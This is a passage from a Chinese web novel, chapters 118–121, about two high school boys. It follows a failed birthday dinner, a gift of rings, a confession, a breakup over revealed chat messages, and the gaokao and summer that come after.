他把凌蒲桌上的木头小摆件塞到对方手里,像之前凌蒲让他这么做一样。 做完才又后知后觉地感到幼稚,若无其事地转了下笔,继续整理笔记。 上课铃声很快打响,继续一天的课程。 就这么一节一节地过去,很快到了放学时间。 第118章 凌蒲没有带时璟承去什么高档的餐厅,而是和他去了那间大平层。 豪宅被赠与时璟承很久,最近才被频繁使用。 阿姨已经给凌蒲准备好每样菜的食材,分门别类地用保鲜膜分好,有难处理的已经提前处理好,需要腌制的浸在碗里,需要提前油炸的也炸好。 已经几乎都是半成品。 【阿姨:/图片】 【阿姨:完成任务/龇牙】 在楼下的凌蒲重新确认了下午的消息,把手机朝兜里一揣,充满自信。 “干什么呢,表情变来变去的。”时璟承觉得他好玩,“别摆弄那手机了。” “你管我。就你不玩手机,我给你发的分享都没回。” “可能静音了。” 凌蒲皱眉,以前时璟承好像并没有这个习惯。 “最近很多人打扰你吗?”他立刻想到。 “没有。”时璟承口吻云淡风轻,“放学忘调了。” “好吧,过生日去。” 凌蒲便不再多想,他把时璟承拽进楼,倚着墙仰脸亲了下;“我要给你制造一个特别难忘的生日。” 四周没有其他人,一片静谧,只有电梯运行的声音。说话和呼吸声似乎都被放大,贴着耳朵。 时璟承垂眸,捏捏凌蒲的脸。 凌蒲抬眼,忽然发现对面的电梯门被擦得锃亮,宛如一面银色的镜子,把两人倒映其中。 身上相同的校服分外醒目,而他正抓着时璟承的衣服,身体朝后仰,把对方拽得微微前倾,看起来竟然这么主动。 和他平时印象里的自己反差太大,凌蒲有点愣神。 被时璟承扳着下巴回来,对他的不认真感到不满,指腹擦过脸颊。 两人之间的时光仿佛相对静止,直到“叮”一声,电梯门在身后打开。 里面站了个低头玩手机的人,戴着鸭舌帽和口罩,估摸着也是个公众人物,看到门口这场景,显然愣了下。 时璟承淡定地把凌蒲挡在怀里,和那人打了个招呼。 对方一目了然,想着顾家这位二公子看来也是同道中人。 当即起了结交的心思,目光落在凌蒲身上,客套句:“时少眼光不错,等这个玩腻了可以去我酒吧坐坐。” 凌蒲攥紧时璟承的衣服,指头用力掐了他一下。 时璟承把凌蒲的脸遮得严严实实,看着露出的淡粉耳朵尖,故意道:“这个玩不腻。” 看向对面的眼神冷淡,拒绝意思很明确。 那人讪讪笑了声,出了楼门。 凌蒲还埋在时璟承怀里,时璟承摸摸他,走进电梯:“没事。” “讨厌你。”凌蒲头发被蹭得凌乱。 “别讨厌我。”时璟承哄他,又低下头,认真端详了一下凌蒲的脸,“你现在像个桃子。” 白皙细腻的皮肤透着红晕,如同水蜜桃。 凌蒲皱起眉头,时璟承在他脸颊上吻了吻。 “他有点像之前很火的明星。”凌蒲忽然严肃,努力回忆,说了个名字。 “你能专心点吗?” “他是不是嘛。” “是。” “我去,他在荧幕上长那么帅,人设那么正直,私下怎么这样。”凌蒲大为震撼。 “你怎么看谁都帅?”时璟承不悦,“颜狗。” 纠纠缠缠下了电梯,凌蒲便立刻记挂起自己的下厨大计,他想了很久,像时璟承这种体验过各大高档餐厅的人,出去吃没意思,唯有亲自下厨,做出惊艳菜肴,才能留下深刻印象。 有了阿姨的烹饪前辅助,凌蒲自信满满。他把时璟承关在厨房外,进去一通神秘的乒乒乓乓。 …… 一会儿之后,时璟承看着桌上摆的一盘盘菜肴。可以说是色香味几乎都没有,各有各的缺陷,排骨发焦,豆腐破碎不堪,小青菜被炒的有点黄,像是浸泡在了油里。 看起来很努力地在摆盘,但是回天无力。 一桌子老弱病残。 时璟承看着不敢直视他眼睛的凌蒲,笑了一下:“确实,会让我难忘的一个生日。” “要不还是点外卖吧。”凌蒲建议。 时璟承安慰道:“能吃就行。看起来不好吃,说不定吃起来好吃。” 他对于食物没什么执念,简单尝了两口,对着西红柿炒鸡蛋夸:“这个不错,吃过最好吃的西红柿炒蛋。” 凌蒲对于能得到时璟承这样的评价非常意外,立刻抬起头:“真的吗。” “嗯。”时璟承点头。 众多菜肴中,经过多次练习的西红柿炒鸡蛋脱颖而出,味道十分正常。 凌蒲很高兴时璟承如此捧场,不过他自己都没有太赏识自己的作品,动了两筷子,便找不到可食用的,一直戳碗里的米饭。 时璟承起身脱了外套,挽起袖子:“等着。” 他把凌蒲的饭端走,打开冰箱拿出意大利香肠,新西兰虾仁,在菜板上码好切块,单手把鸡蛋在碗边一磕一打,筷子搅拌。 凌蒲在厨房门口偷看时璟承的侧影。他印象中时璟承应该十指不沾阳春水,没想到还会做饭,只见薄羊绒衫衬出肌肉线条的起伏,黑色的发丝随着动作一晃一晃,依然让人挪不开眼。 不多时,一碗热气腾腾,内容丰富的蛋炒饭放在凌蒲面前。 闻起来肉香虾香,放了不少蔬菜,完美避开了凌蒲所有讨厌的。 “尝尝。”时璟承深藏功与名,递给凌蒲一个勺子。 又取出两个高脚酒杯,各倒了一点果汁。 凌蒲拿起勺,眼前碗里色彩丰富,饱和度高得像幅画,香喷喷的热气蒸腾,蒸得鼻子有点酸,他低下头。 时璟承还想打趣两句,忽然看到一颗豆大的泪珠从空中掉下,圆圆的,像颗黄豆大小。 “怎么了?”时璟承敛了笑容。 凌蒲皮肤白,眼眶稍微红点便很明显,他揉揉眼睛,拿起勺子吃饭。 “因为这顿饭吗?真没关系。我特别难忘,主要这里的厨房都没怎么用过,锅和火候都不好。” 时璟承把凌蒲抱进怀里,揉揉对方的后脑勺,“刚刚和你开玩笑的。” 凌蒲吸吸鼻子,推开时璟承,很快就调整好心情。 在一顿不怎么美丽的饭菜面前,凌蒲从口袋里摸摸,犹豫一下,跑到沙发上从书包里找出什么,包装捣鼓一阵,递给时璟承:“给你。生日快乐。” 时璟承面对这个纸袋,着实好奇,凌蒲提前几周就开始旁敲侧击的礼物究竟是什么。 这一周都有很多认识或不认识的人送他礼物,邵晚熠和顾乾也花了大价钱买下他想要的绝版赛车,着实让时璟承意外。 但不得不承认,他最期待的还是此刻。 看着凌蒲取出个丝绒小盒子,方方正正,质感高级,而且这个大小——所有人一看就知道。 凌蒲长而齐整得睫毛阴影落在眼下,神态专注而认真,打开丝绒盒子。 时璟承的心跳开始加速。 果然,银光闪过,里面是两枚精致的戒指。 却是分明的男戒和女戒,一套标准的婚戒,像是从珠宝柜台里直接购买。 凌蒲在戒指盒后面眨着眼睛看时璟承,话也不是所期待的。 他慢吞吞道:“我也不知道该送什么,感觉你什么都不缺,但我觉得你肯定没有戒指。就买了,你以后可以送给别人。” 时璟承神色冷下来:“别人?” “尺寸可以改的,你们就日常戴戴,或者当成纪念品。” “凌蒲。我真不知道你脑回路怎么长的。”时璟承的声音夜变得冰凉,眉梢带上鲜明的怒意。 凌蒲飞快把戒指盒装回去,连同包装袋塞到角落:“你就当个装饰品嘛,或者摆件,摆起来亮亮的。” 他也知道这样不大妥当,但就是较着劲儿想送给时璟承没人送过的礼物,在商场闲逛的时候鬼使神差停在戒指面前。 这款特别漂亮,还正好贴合预算。头脑一热,就买下了。 就想送给时璟承。 时璟承接过来,冷笑道:“谢谢。” 转身回了房间,凌蒲跟过去找他说话。但一直不敢看时璟承的眼睛,指头在桌子和床板上挨个抠抠。 他知道这个行为冒昧,不过自己的桌上就摆着各种造型的摆件,什么都有,不会介意摆戒指。 而且时璟承以后结婚又不一定邀请他,那种轰动很久,说不定还会登报的活动。 就算邀请他了也不一定去,到时候宾客氛围都很时尚,就他土土的,还是算了。 倒不是觉得土土的不好,只是格格不入。 都最后一个礼物了,时璟承还不让他送想送的。 可恶的时璟承。 月光从窗外钻进,倒映在凌蒲湖泊般的眼睛里,反射出一片小小的光辉。 时璟承见凌蒲忽然安静低头,睫毛上似有莹光闪动,走过去,轻轻捏住凌蒲的脸朝上抬了抬,才发现是错觉。 那双眼睛眨巴眨巴,总是能让时璟承沉溺其中,无条件地丧失原则投降。 时璟承摸了下凌蒲的头发:“我不想和别人戴戒指。” “嗯?” “我喜欢你,凌蒲。” 声音沉沉如叹息,不像那种很正式的告白,而是承认了一个本该如此的事实。如同短暂的低喃,消散在月色和夜色中。 时璟承很要面子,不会轻易表露什么。 凌蒲了解这一点,所以他愣了愣,想要确认刚才这句话是否真的存在。 时璟承没给他机会,低头吻他,柔软的嘴唇和永远带着清甜面霜淡香的皮肤,凌蒲已经是他最好的生日礼物。 凌蒲完全没有回应。很多种情绪交缠在一起,占据了他的注意力。 时璟承对每任情人都这么深情吗,时璟承竟然说喜欢他,是哪种喜欢,刚刚是真的还是假的,会不会是听错了。 “不专心。” 时璟承分开一点距离,看着凌蒲心不在焉的神情,已经熟练掌握如何拉回对方的注意力。 凌蒲很快无暇再想任何,被剥得一丝不挂,只剩下红绳玉坠垂在锁骨上。 皮肤白皙细腻Q弹,躺在深色床单上,像个软软的粽子,任人摆布。 时璟承则衣着整齐,像是穿西装,用刀叉慢条斯理地享用这个软糯的粽子 时璟承摆布完,给凌蒲盖上被子,照例想去冲个澡。 衣服角被凌蒲拉住。 凌蒲平复呼吸,努力摸索着,让对方回来。试图模仿了一次时璟承对他的做法,有过之而无不及地埋下头。 柔软的发顶在灯和月色下呈现出漂亮的光泽感,如同湖水般的眼眸泛起波纹,动作生涩,甚至没能顺利完成。 最后很害羞地躲到被子里,彻底摆烂,装着装着就真的睡着,侧脸安静地贴在枕头上。 时璟承对着那撮露出的发丝无可奈何地笑了下。 凌蒲一觉睡到第二天早上,被一阵电话声吵醒。 他迷迷糊糊,思绪一点都不清醒,本能地戳旁边的时璟承让他去接。 “是你的。我手机静音了。”时璟承提醒道。 “帮我接下嘛。”凌蒲还没睡醒,抱着时璟承黏黏糊糊地蹭了蹭,脸颊温热而柔软。 时璟承只得起身,在地下的衣物里找了找,摸到手机,拉起凌蒲的手指解锁,看到备注。 “程益添?大早上给你打语音电话。”时璟承不悦。 听到这个名字,凌蒲瞬间清醒,坐起身伸手:“别” 时璟承已经按下接听和免提键,里面的声音迫不及待地传来:“凌蒲,你甩了时璟承没有啊!我去,看到你消息就赶紧给你打” 喜悦的话语没有回应,回荡在房间里,周围一片令人恐慌的安静。 拿着手机的手在屏幕上缓缓下滑,看到了满屏几乎雷同的记录。 程益添几乎每天都在提醒凌蒲甩了时璟承,而凌蒲都在自信满满地回“好的”。 最上面几条内容也挺清晰。 【/粽:他长得帅,我又不吃亏,玩玩嘛】 【/粽:我会提前甩掉他】 【程益添:狠狠甩掉】 【/粽:好的.jpg 】 第119章 时璟承没什么表情,只是看着凌蒲,等待他的解释。 凌蒲没有说话,开始穿衣服。 穿完裤子穿毛衣,又说:“我外套在隔壁,我” “凌蒲。”时璟承叫他名字。 虽然仍是安静,但如同风雨欲来,气压是低的。 凌蒲抬起头:“就是你看到的这样。” 他并不想在时璟承面前丢太多面子,希望这一切能够默认着体面的结束。 现在穿好衣服走出时璟承的家,一切就画上了句号。如同美梦一场,这段时光就此作结。 时璟承可以轻易找到很多比他更加优秀,更加有聪明,更加好看,更加有共同话题的人。他自认十分了解要面子的时璟承,觉得对方会放下手机让他滚,但不知为什么迟迟没说话。 他想自己圆润离开,却被时璟承抓得很紧,胳膊有点痛。 时璟承盯着凌蒲的脸,凌蒲鼓足勇气,努力做到坦荡对视。 但只坚持了两秒,低头开口:“就是这样,我看你长得帅,想玩一玩你而已。早就和你说过。” “其他都是骗我的吗?” 时璟承听起来很冷静。 凌蒲舒了口气:“嗯。” 他感到那道目光继续落在他身上,在细细打量他,仿佛一场凌迟,每一寸皮肤都有点痛,他竭力装作淡定。 “既然你都看到了,就是我以为你要报复我,就先下手为强。”凌蒲也不知道自己在说什么。 时璟承打断:“凌蒲,你这个骗子。” 这句话和方才截然不同,似乎在微微发颤。 听着对方声音不对,凌蒲抬起头,发现时璟承眉目压下,眼尾竟然有点红。 时璟承和顾乾长得很像,都属于不怒自威的类型,线条清晰明朗,五官帅得自带攻击性,没表情时有上位者的压迫性。 只是时璟承平常会柔和些,相比顾乾的冷漠要更加生动,然而此刻发现他也能一点情绪都不表露出来。 凌蒲从没见时璟承这么凶的表情,但这倒是其次,他看着时璟承的眼睛,疑似微微发红的眼眶让他不知所措。 “早该看清你,从小到大都是个骗子。”时璟承说。 冷冰冰的声音和内容落下,这是凌蒲猜到的,但“从小到大”这四个字让凌蒲没来由地好伤心。他鼻子一酸,温热的眼泪只在眼眶里滚了滚,就控制不住地流下来。 “你” 时璟承咬着牙,还想说些什么狠话,但看到那滴顺着凌蒲脸颊落下的眼泪,忽然没了声。 不知道是哪里做出的反应,比大脑的指令还要快。 凌蒲的眼泪一滴接着一滴,挂在脸侧,直到越积越多,顺着流下来,进了衣领,倒显得委屈不轻。 空气变得安静,只剩下两人呼吸声。 不知过了多久,时璟承抬起手,替凌蒲把眼泪擦掉,指腹滑过柔软的皮肤。 “算了。你走吧。”他说。 凌蒲没有抬头,听到这句话,就径直朝门口走,身上只穿件的卡通毛衣,在推开门的瞬间寒风涌入,他瑟缩了下,还是硬着头皮走出去。 “东西拿走。” 身后响起时璟承的声音,把外套狠狠丢在他怀里。 凌蒲胡乱披上外套,衣领都折在了领子里。 他下楼,在出电梯的瞬间又和那个明星擦身,对方看着他背影,一副意料之中的表情吹了个口哨。 口袋里手机震动不停,凌蒲机械地拿起来,接通。 “凌蒲,你没事吧。怎么忽然挂断了?”程益添的声音。 “没事。”凌蒲吸吸鼻子。 “你之前不是说不甩了吗?怎么忽然又发消息说准备继续执行,还说有空再打电话和我详聊。我哪等得到啊,是不是电话吵着你了,周六早上睡觉呢吧。” 程益添的声音还是挺开心,为好友能够及时醒悟而喜悦,仿佛是中了女巫咒语后成功苏醒。 “我以为你这两天月考,拿不到手机。”凌蒲走在寒风里,脸上被吹得有点疼,“本来想明天晚上给你打电话的。” “这有什么说法?”程益添不解对方为什么纠结这个,“我正好有点发烧,让校医开个请假条翘了,手机玩到爽。” 听着兴奋的声音,凌蒲苦笑一下:“没说法,想利用你一下来着。” “什么事?尽管用啊。” “已经没事了,谢谢。” 凌蒲挂断电话,望着日历上在后天做得小标记,对这损失的两天有点心疼。 不过该做的都做了,也没有太多遗憾。 他有一段很美好的记忆,值得珍藏在折星星的透明玻璃罐里。 * 周一。 凌蒲顶着翘起几根的头发去上学。 旁边的课桌如他所料般,直到早自习打铃都没有人。 不过东西都还没有收拾,凌蒲想了想,想在课间去卫生间抓抓头发。 来到镜子面前时,才发现形象实在太差,眼睛肿了一圈,还有明显的黑眼圈,于是自暴自弃般把头发一把揉乱。 一个上午一节课接着一节课地上,时间过得很快。 比想象中糟糕的多,凌蒲发现星星并不能安稳地呆在玻璃罐里,而是不断划破天际,以硕大陨石的姿态占据夜空。 和以前不太一样。 班主任任展飞在课上发了火:“离高考就还有一百多天,倒计时一天一天得在少,有些同学心思还不在学习上!人家凌蒲转学到现在才不到一学期吧?已经超过了大部分同学,就没看人家哪节课不认真做笔记的,你们可以去借他的笔记看看。” 本来发呆的凌蒲被提名后回神,抬头看着任展飞。 “特别一些交往过密的男生女生,我都不想说,你要是现在注意力在这些上,你们相处时间就是黑板上这些倒计时。就想着及时行乐,有没有想过未来?这都是对彼此极其不负责任的行为。” 凌蒲微微出神。 中午拿着很久没用的饭卡,去食堂吃饭。回教室路上正好遇到拎着外卖的章飞。 “凌蒲!今天中午食堂有什么?”章飞和他勾肩搭背。 “啊。”凌蒲愣了下,“我忘了。” “你怎么连吃什么都能忘。”章飞打趣,“都没见你吃食堂,之前是不是家里人一直给你送饭。” 两人回到教室,凌蒲忽然在后门处僵住不动。 他看到自己旁边的桌子已经几乎空了,只有零星几本书籍被放在桌面上,里面空空荡荡,整洁得好像新的。 平常时璟承不喜欢放太多东西,但原来搬空之后对比会这么鲜明。 “刚刚有人来过了吗?” 章飞没多想:“你说时哥啊。人家可不亲自来,应该是助理吧,西装革履的。” 一边走到位置上和同桌说:“我早说人家就是来体验生活的,咋可能真和我们一起高考?” 大家对这件事情似乎都不意外,只是不少女生抱怨少了个帅哥,都在讨论,有的还来问问凌蒲。 “对了。”章飞的同桌回头,“凌蒲。当时那个助理说时哥这几本东西不要了,让他同桌回来帮忙处理下。还强调一定得扔掉。” 章飞笑道:“我俩也不敢乱动。我看你俩关系这么好,会不会时哥大手一挥给你留了套房什么的,不好说。” 在两人的起哄下,凌蒲只得拿过那几个本子。 并没什么特别,只是几本练习题和书,夹了本笔记,没有任何类似支票或者银行卡。 章飞遗憾:“看来助理是真拿不下了。” 等其他人走了,凌蒲打开笔记,就是时璟承之前有在整理的,内容很厚实。 笔迹遒劲有力,很漂亮的页面,看上去赏心悦目。 内容确实是凌蒲想象的压轴题,不过笔记做得很细,知识点特意标出,还和基础进行了链接。 几乎分门别类,把数学所有难题类型分解了个七七八八。 这些都是凌蒲只写第一问就停笔的题目,但这么分解出来,似乎也不难。 后面还跟上了一点物理和化学,写了点预测。 凌蒲没扔,占为己有。 空空荡荡的一整天,很emo。 但高三并不给他太多个人情绪的空间,密密麻麻的考题压下来,时间在朝前走。 * “都不带了。” 时璟承一身黑色衣服,戴着遮住大半张脸的墨镜,毫无表情,旁边是几个被管家打包好的行李箱,横在宽敞的客厅中央。 屋外天色渐黑,屋内气压低得很,像有个一点即燃的炮仗。 “提前出去好,申请会顺利些。” 邵晚熠和顾乾专程请假在家。 大概一周前,那边下了最后通牒,如果时璟承再不松口就要制造顾乾的负面舆论,一篇篇写好的稿件躺在邮箱里,包括顾乾为了同性情人不惜和家人决裂,不赡养父母,洗脑亲弟弟。 一定会让顾乾的形象受损,顾乾在明他们在暗,恶心得很。 顾乾态度强硬,宁可退圈也不妥协,但几十年来经营的口碑形象毁于一旦,还有其他难以预料的代价,时璟承权衡利弊,和那边松了口。 这一自作主张的行为让顾乾不满,虽然心里知道彼此心意,但表面还在冷战。 邵晚熠在中间缓和,一边帮时璟承清点要邮寄的行李,一边打趣: “和你那小对象说了没有,对方愿不愿意和你异国恋?” 时璟承的脸色又黑了八度:“不恋。” “被甩了啊?”邵晚熠一眼看出来。 时璟承没搭腔,转身进了屋。 夜晚的灯光下,时璟承独自坐在桌前,线条优越的侧影轮廓映在墙上,眼睫垂下。 手里转着凌蒲给他的戒指盒,捏紧,手腕一转,投掷出漂亮的抛物线,小盒落到垃圾桶里。 又把包装袋也如法炮制,一丢,里面竟然掉出张小卡片。 他捡起来,发现凌蒲的笔迹。 写着串神秘的英文字母:Hakuna Matata。 每个字母都很圆润,没太多棱角,但漂亮整洁,拐弯的弧度好像精心设计,像是练习过很多次。 并不像时璟承所熟知的任何语言,可能是某种暗号。 比如英语阅读理解D篇,在麦克前女友婚礼这天,熟知西班牙语的好友告诉他,前女友当年送他那盆仙人掌上的花语是西班牙语的坚韧不拔的爱,只是对他的考验而非分手。 再比如学校发的杂志里常有,多年后才发现褪色的同学录最后一页竟然写着表白和见面的时间地点。 之类的。 时璟承翻来覆去地在手里转了几圈,拿出手机,查了下。 页面转着圈加载,时间变得很慢。 终于跳出一行字:“这是曾在电影《狮子王》中出现的非洲谚语,是彭彭和丁满对辛巴的一句祝福” 时璟承黑着脸关了手机。 靠。 第120章 高三的时间仿佛不是时间,而是崩腾向前,势不可挡的水流。 在题海中低下头,等再抬起来,黑板上的倒计时就又少了几天。 班里集体活动越来越少,不时就出现空位,竞赛的竞赛,出国的出国,还有专门找机构一对一全天补课,抱一抱佛脚。 教室里剩下的同学也都变得安静起来,桌上摆着全国不同地区的名校卡片,蝉鸣逐渐压过了课间的打闹声。 分别从来不是从一张毕业照开始的,而是早已提前上演。 人生南北多歧路,君向潇湘我向秦。 凌蒲留在教室里学习,班主任和科任老师都说他知道紧张了,学习劲头很足,知道主动留下来自习和问问题,压轴题也不再大笔一撂,能静下心思考。 凌逸飞和钱芷也发现了儿子的勤奋,他们自认没给凌蒲太大的压力,欣慰地认为这是忽然成熟,等这一天等了十几年,该去庙里或者祖坟哪里拜拜。 说不上是从哪个时刻开始,或许是寒假没再像之前那样和一堆朋友厮混,和朵交际花似的要提前预约,也可能是更早开始,度过了一段沉默的时光之后。 和他之前那好朋友程益添打电话也不再乱扯,进门送水果时竟然发现凌蒲边立着手机边做题。 不容人想得太多,高考的倒计时逐渐变成个位数,直到彻底擦除。 警戒线在校园两侧的马路上拉起,执法人员立在两侧,一个个遮阳的棚子搭好,卖花的阿姨在向日葵上喷水,把价格改成吉利的数字。 三天时间倏忽而过,写下最后一笔,这个传说中无比盛大的日子就这样懵懂地结束。 穿着旗袍的钱芷捧着花,和凌逸飞一起把凌蒲接回家。 路上两人感慨万千,就差发表一篇演讲,对于凌蒲更是一顿夸赞,不管考得是好是坏,都给予物质和精神上的奖励。 凌蒲并没有太多感觉,在家里大睡了一觉,醒来时觉得空空荡荡。 房间依旧小而温馨,窗台上摆着凌逸飞送他的,更大的金猪,桌上是很多手办摆件,满满当当。但被占据着的思想忽然清除,不由望着窗外发呆。 被解除静音之后,一声声的手机消息声不绝于耳地响起,将他拉回现实。 凌蒲向来好人缘,闲聊的,约饭的,加油打气的,相约旅游的,应有尽有。 程益添更是迫不及待,直接打来电话。 “喂,凌蒲你总算接电话了,赶紧出去happp啊,逼着老子学了一学期学,我妈都没做到,快补偿我。” “行。”凌蒲毫不犹豫地答应,“我去找你,还是你来找我玩?” “那多没意思,去旅游呗。我俩定个目的地,到时候那里见。” “好,到时候请你吃饭。” “凌老板大气。” “我爸刚给我发了笔不菲的奖金,这段时间我确实会很富裕。”凌蒲诚实。 两人聊了会儿便挂掉电话,凌蒲下一个电话又响起来。 他接起。 “凌蒲,考得怎么样。” 凌蒲看了眼备注:“还可以吧。前段时间谢谢你,班长。” 沈庭赫已经竞赛保送,但最后一段时间还来班里帮同学讲题,对凌蒲的帮助很大,人似乎还挺好的。 “就这么谢,不吃个饭?” 凌蒲愣了愣,沈庭赫一直温文尔雅挺有分寸,忽然提出这样的要求,他赶紧应下。 这顿晚饭便被占了去,他匆匆出门。 一路紧赶慢赶,但等站在对方预定的餐厅门口时,凌蒲有点不想进去了。 他看到这个豪华的大门就想起来,之前他来过。 但沈庭赫已经从旁边车里下来,迎上来笑道:“凌蒲,你来了。” “怎么选这么正式的地方。” “搜了搜排名,随便选的,进去吧。” 沈庭赫依然显得彬彬有礼,身上衣服看起来也挺考究,凌蒲想起来有些小八卦,说沈庭赫家里也不是一般人。 他心不在焉,跟着沈庭赫进去。 身上只穿着件鸭子图案短袖,依然和整个氛围格格不入。但因为以前来过,所以凌蒲在点菜和用餐时都挺熟练,而且神情没什么露怯,大大方方的。 沈庭赫并没有表示意外,只是拿出手机,表示要对菜肴拍张照片。 凌蒲没有多想,简单吃了一点,牢记这顿饭的主旨,认真感谢了沈庭赫。 “班长,你讲题真的很好,每次我不会的地方你都能展开讲,和有读心术似的。” “是吗,能帮到你就好。” 沈庭赫的手机连续震动了几下,但他并没有管。 “你都竞赛保送了还能来无偿讲题,飞哥天天夸你。当时那道第三问大家几乎都不会,你帮他讲了一半,简直伟大。” “那天确实挺累。”沈庭赫低头看手机,不经意跟了句,“受人所托没办法。” 他关了手机,又迅速道:“任老师专程给我发消息,让我没事就过去。正好闲着也是闲着。” 餐厅里别人之间的氛围大多暧昧,只有他们这里正儿八经地讨论着学习,显得格格不入。沈庭赫感到挺意外,凌蒲这人就像有结界似的,看起来就单纯,仿佛就该聊学生话题。 沈庭赫摇了摇酒杯,目光从镜片里投射出来:“其实我只是想专程给你讲,其他人都是顺便。” 凌蒲笑起来:“班长,你这么说让别人好伤心。” 笑容不含一丝杂质,牙齿洁白齐整,眼睛弯弯,柔顺的头发垂落,仿佛有光落在上面,沈庭赫不由微微晃神。 这顿饭没吃完,凌蒲便抢着要结账,就像简单请顿客一样。 账单朝面前一摆,沈庭赫不动声色地准备等对方犯难。 谁知凌蒲在吃惊一下之后就打开付款码,动作流畅淡定,简直要让人怀疑是不是什么隐藏的富二代。 “这顿饭太贵,下次你再请吧。”沈庭赫制止。 “没事。有钱就多花点,没钱就少花点。”凌蒲的金钱观非常豁达,“而且你确实帮我很多,就是我的感谢饭。” 他大大方方,沈庭赫算是明白:“凌蒲,你真挺有人格魅力的。” 又说道:“不过如果我真的接受这顿饭,实在显得没礼貌。我拍个账单,回去转你三分之一,算是你请了我大部分。” * 完成了和沈庭赫的这顿饭,凌蒲一个人走在回去的路上,看看天,看看路灯,又忍不住回头看了一眼餐厅的灯牌。 刚刚吃饭的时候,无数记忆都在闪回。 那些他以为已经变成美好回忆,会被缩在盒子里的部分,在不断地朝外跳跃,让他无心吃饭。 摸出手机,他翻到时璟承的头像,给对方转账0.01元,然后在输入支付密码时停下。 反复测试得出共同结论,就是时璟承竟然没有删除他。 虽然把头像换成了之前的。 可能是过于繁忙,没有功夫处理这些小事情。凌蒲想象着,不知道时璟承此刻在干什么。 他非常想偷偷地去远望一眼,但连签证都不一定办的下来,实在太远。 走着走着,也不知道怎么就到了另一条路上,等凌蒲察觉时,已经在这条熟悉却错误的路线走了很远。 于是索性继续遵循着走下去。 他来到了一栋豪华别墅附近,没有走正门,而是隔着墙,给管家发消息。 那边很快有了回复,过了一阵,管家带着胖胖的猫来到外面,和他接头。 “陈叔。”凌蒲熟稔道。 “怎么这么晚来了,还好我没睡,不然可听不到了。” “想猫了。”凌蒲笑道,蹲下来,在小猫柔软的脑袋上揉了又揉。 愈发圆润的小猫热烈回应,脑袋一拱一拱,和他特别熟悉。 这是凌蒲和猫的秘密见面方式,有时候是管家,有时候是阿姨,就像特工接头一样,偷偷看他的猫。 时璟承并没有来得及丢掉这个猫,而是继续放在院子里,成为一只没事晒晒太阳的快乐小猫。 毕竟现在时璟承人已经不在国内,或许早就把这一切都忘记了,给了凌蒲可乘之机。《 》 120-130 第121章 第二天上午,凌蒲家门被急促地敲响。 钱芷打开门,看到个眼熟的年轻男生站门口,还以为出了幻觉,愣了半天才说:”程益添啊,好久没听到这样敲门声了,还有点怀念。” “好久不见阿姨,凌蒲起了没?” 程益添风尘仆仆,连夜赶来。 “凌蒲还在睡,你进来吧。”钱芷让凌逸飞把他行李箱拖进来。 凌逸飞看到他,也会心一笑:“呦,这不是凌蒲那狐朋狗友吗,你来了。” “是的叔,您这话不对,我俩高山流水,伯牙绝弦。” “那真是太好了。”凌逸飞配合道,“考完了多玩玩吧,他估计还在睡。” 程益添来到房间,也不管凌蒲醒没醒,非常激动: “凌蒲,你这半学期到底怎么了,寒假也不让我来玩,我俩打电话的内容里竟然出现了题目,你还是凌蒲吗,是不是被夺舍了。还有之前和那个时璟承,到底什么事啊,神神秘秘” 凌蒲半梦半醒,就听到耳边叽叽喳喳。不由转过身,用被子蒙住头,但那个很久没出现的名字让他清醒一些。 他睁开眼睛,缓缓眨了眨,坐起来:“程益添你怎么来的?” “瞬移呗。” 程益添谨慎地上下打量,确认对方到底有没有被夺舍。 只见凌蒲身上一件小熊维尼系列里那只猪图案的淡黄色短袖睡衣,衬得皮肤挺白,偏棕的头发乱糟糟却挺柔顺,随意堆在额前。 刚醒的五官更显得色彩饱和度挺高,在程益添眼里是最帅的好哥们。 确认完身份,程益添问:“你前段时间中邪了?” “好好学习是高中生的义务。”凌蒲揉眼睛。 “你和时璟承到底发生什么了?” “老提他干什么。”凌蒲自暴自弃地重新躺下,被子蒙住头。 程益添和凌蒲熟悉,看他这样就知道对方不愿意提。想想也是,毕竟时璟承确实挺完美,论智斗什么的他哥们儿明显是稍显逊色,说不准栽了个大跟头。 让人抓耳挠腮的就在于这事的结局神神秘秘,最后什么甩不甩的,程益添自然打死都不相信凌蒲会真弯什么的,只以为是又心软。 他按捺住无比的好奇心,换了话题:“去哪玩到时候,咱俩做个攻略。” 他们在曾经有极多美好畅想,尽管凌蒲有点没精神,但也不想扫了好友的兴,和他一起聊着,一个又一个城市出现在对话中,仿佛要几十天徒步全国。 凌蒲问:“要不要再叫点人,问问秦哥他们有空没。” “秦哥陪女朋友去了。” “秦哥有女朋友了?”凌蒲震惊。 “也就是你天天不看群聊,有几个月了都。”程益添翻着群聊成员,“这个回老家了,这个参加二次元活动,之前抢票的时候给你发消息也没回。这俩贼装,非要出成绩前从abandon开始重新背,怕万一去复读的时候赶不上进度” 手机上面跳出条消息,程益添看到后顿了下:“乔玥倒是来问要不要一起去玩,你怎么看?” “随便吧。”凌蒲没在意,“一个女生会不会不方便,还是她要叫她朋友一起。” “不是,你真假啊。真是抛媚眼给瞎子看。” 程益添阴阳怪气,凌蒲让他有话直说。 “我不好说。不过我能问一下吗,你有没有喜欢的人?” 凌蒲本能地否定回答,但紧接着抿了下唇。 程益添看他微表情就知道反差,好奇地晃着让他快说。 “不说。” “你有秘密了,长大了。”程益添捶胸顿足。 凌蒲不由笑了下,枕头拍他脑袋上:“又想升辈分。” 红润的嘴角弧度上扬,露出一口洁白的牙齿,柔软的脸颊若隐若现小酒窝,琥珀色的眼睛也溢着笑意,阳光舒展,仿佛能消融一切烦心事。 程益添发现了:“少爷你很久没笑了。” “少来。” “我说真的。”程益添说,“以前你招牌笑容,这半学期很少见。” “忙着高考,谁高三下学期天天笑,睡觉都不够。”凌蒲打个马虎,转移话题,“做攻略。” 他们注意力便转移到旅游上,程益添还煞有介事地搞了个地图,拆开包装,一点一点铺开。 “我去,这是世界地图。” 等完全展开后,他淡淡沉默,但很快调整好心情,“没事一样看,凌蒲你想去哪。” 在无垠的世界地图里,每块陆地和海洋都变成了小小的组成部分,地壳运动历经上亿年,仿佛就是为了让彼此隔开距离。 “都行,你定。” 两人讨论一阵,程益添还给凌蒲科普了卫星地图,他们拿着实景看了半天,最后终于大概拟定了个路线。 说走就走,先给第一站买票。 程益添看着朋友圈别人精彩纷呈的动态,按捺不住,也要迅速发个。 “看镜头凌蒲。” 凌蒲刚转过头,还没怎么来得及找到镜头在哪,程益添已经把手机放下了。 噼里啪啦一通快速编辑,完成了草率朋友圈。 “给我评论下,快。”程益添催道。 凌蒲点赞,评论/龇牙。 底下密密麻麻一排赞和评论,乔玥留言【路线重合了一小段,介意一起走吗?】 